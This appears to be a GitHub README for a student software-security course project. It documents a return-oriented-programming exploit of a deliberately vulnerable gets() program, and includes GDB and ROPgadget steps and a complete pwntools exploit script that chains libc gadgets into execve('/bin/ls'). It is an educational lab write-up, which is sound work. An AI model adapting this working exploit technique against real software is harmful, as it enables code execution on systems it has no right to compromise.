Skip to content

pratikkamble-research/Software_Security_ROP_Project

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CS553 Software Security — ROP Attack Project Report


1. Objective

Exploit a stack-based buffer overflow in a 64-bit binary using Return-Oriented Programming to execute:

execve("/bin/ls", ["/bin/ls", 0], NULL);

with the three arguments placed in %rdi, %rsi, and %rdx respectively.


2. Vulnerable Program (vuln.c)

#include <stdio.h>

int foo()
{
    char buf[64];
    printf("buffer address = %p\n", buf);
    puts("Enter text: ");
    gets(buf);
    printf("Contents of buf are: %s\n", buf);
    return 9;
}

int main()
{
    printf("Addr of main: %p\n", &main);
    return foo();
}

Vulnerability: gets(buf) performs no bounds checking. Attacker can overflow the buffer with large input.

Compilation:

gcc -fno-stack-protector -O0 -no-pie -o vuln vuln.c

3. Step 1 — Run the Program Normally

Confirms baseline behavior. ASLR is disabled with setarch x86_64 -R so stack and libc addresses are stable.

setarch x86_64 -R ./vuln

Sample output:

Screenshot from 2026-05-04 20-55-49

4. Step 2 — Find the Offset Using cyclic

Generate the pattern:

python3 -c "from pwn import cyclic; import sys; sys.stdout.buffer.write(cyclic(200))" > pattern.txt
Screenshot from 2026-05-04 21-02-57

Crash the program in GDB and read rsp:

gdb ./vuln
(gdb) run < pattern.txt
(gdb) x/gx $rsp
0x7fffffffdbd8: 0x6161617461616173

Convert the value to an offset:

python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161617461616173))"

Result: Saved RIP is 72 bytes past the start of buf (64 buffer + 8 saved RBP).

Screenshot from 2026-05-04 21-12-25

5. Step 3 — Stack Diagram

IMG_1223

6. Step 4 — Find Gadgets with ROPgadget

1) pop rdi ; ret$:

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -E ": pop rdi ; ret$"
Screenshot from 2026-05-04 21-18-03

2) pop rbx ; ret$

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -E ": pop rbx ; ret$"
Screenshot from 2026-05-04 21-18-29

3) pop rdx ; ret

Note: No clean pop rdx ; ret exists in this libc. We use a two-gadget trick:

  1. pop rbx ; ret → set rbx = 0
  2. mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret → copy rbx into rdx
Screenshot from 2026-05-04 19-17-43

4) mov rdx, r" | grep "ret$

ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -E "mov rdx, r" | grep "ret$"
Screenshot from 2026-05-04 21-19-01

5) pop rsi ; ret

Note: The clean pop rsi ; ret at offset 0x110a7d produces a runtime address containing \x0a (newline), which gets() would truncate. We use pop rsi ; pop rbp ; ret at offset 0x2b46b instead.

Screenshot from 2026-05-04 21-24-11

7. Step 5 — Get Runtime Addresses

libc base:

gdb ./vuln -batch -ex "break foo" -ex "run" -ex "info proc mappings" | grep "libc.so.6" | head -1
Screenshot from 2026-05-04 21-27-31

execve:

gdb ./vuln -batch -ex "break foo" -ex "run" -ex "p (void*)execve"
Screenshot from 2026-05-04 21-27-59

Buffer address (run outside GDB):

setarch x86_64 -R ./vuln <<< "A" | grep "buffer address"
Screenshot from 2026-05-04 21-28-37

Final address table:

Item Value
buf_addr 0x7fffffffc270
libc_base 0x7ffff7c00000
pop rdi ; ret libc + 0x10f78b
pop rsi ; pop rbp ; ret libc + 0x2b46b
pop rbx ; ret libc + 0x586e4
mov rdx, rbx ; ... libc + 0xb0153
execve 0x7ffff7ceef30

8. Step 6 — Exploit Script (exploit.py)

#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"

OFFSET       = 72
buf_addr     = 0x7fffffffc270
libc_base    = 0x7ffff7c00000
execve_addr  = 0x7ffff7ceef30

pop_rdi      = libc_base + 0x10f78b
pop_rsi_rbp  = libc_base + 0x2b46b
pop_rbx      = libc_base + 0x586e4
mov_rdx_rbx  = libc_base + 0xb0153

binls_offset = OFFSET + 12 * 8
binls_addr   = buf_addr + binls_offset
argv_addr    = binls_addr + 8

chain  = b"PRATIK_KAMBLE_B00924004_CS553_SOFTWARE_SECURITY_PROJECT_COMPUTER_SCIENCE"
chain += p64(pop_rdi)
chain += p64(binls_addr)
chain += p64(pop_rsi_rbp)
chain += p64(argv_addr)
chain += p64(0)
chain += p64(pop_rbx)
chain += p64(0)
chain += p64(mov_rdx_rbx)
chain += p64(0) + p64(0) + p64(0)
chain += p64(execve_addr)
chain += b"/bin/ls\x00"
chain += p64(binls_addr)
chain += p64(0)

assert b"\n" not in chain, "invalid payload"
sys.stdout.buffer.write(chain)

9. Step 7 — Run the Exploit

python3 exploit.py > payload.bin
setarch x86_64 -R ./vuln < payload.bin

Output:

Screenshot from 2026-05-04 21-30-33

Running the Exploit

gcc -fno-stack-protector -O0 -no-pie -o vuln vuln.c
setarch x86_64 -R ./vuln <<< "A" | grep "buffer address"   # update buf_addr if needed
python3 exploit.py > payload.bin
setarch x86_64 -R ./vuln < payload.bin

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors